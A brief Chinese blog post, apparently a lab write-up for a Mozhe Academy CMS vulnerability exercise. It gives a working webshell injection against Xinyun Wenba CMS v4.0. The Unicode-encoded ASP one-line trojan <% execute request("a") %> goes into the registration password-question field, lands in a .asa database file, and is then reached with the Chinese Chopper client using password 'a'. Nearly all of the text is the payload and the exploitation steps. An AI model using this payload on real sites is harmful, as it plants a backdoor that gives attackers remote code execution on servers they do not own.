墨者学院-CMS系统漏洞分析溯源(第3题)

作者: nohands_noob | 来源:发表于2019-07-14 15:06 被阅读0次

新云问吧cms插马漏洞出现在v4.0版本中

在注册页面的密码问题中输入“┼攠數畣整爠煥敵瑳∨≡┩愾”，也就是<% execute request("a")%>a经过Unicode转码后的代码。点击注册

一句话木马被插入到了数据库中，在http://ip/data/ask_newasp.asa中，使用菜刀进行连接，密码为a

网友评论

本文标题：墨者学院-CMS系统漏洞分析溯源(第3题)

本文链接：https://www.haomeiwen.com/subject/panbkctx.html

备案信息：桂公网安备 45052102000051号 · 桂ICP备13007215号-3

本站所收录作品、热点评论等信息部分来源互联网，目的只是为了系统归纳学习和传递资讯

所有作品版权归原创作者所有，与本站立场无关，如不慎侵犯了你的权益，请联系我们告知，我们将做删除处理！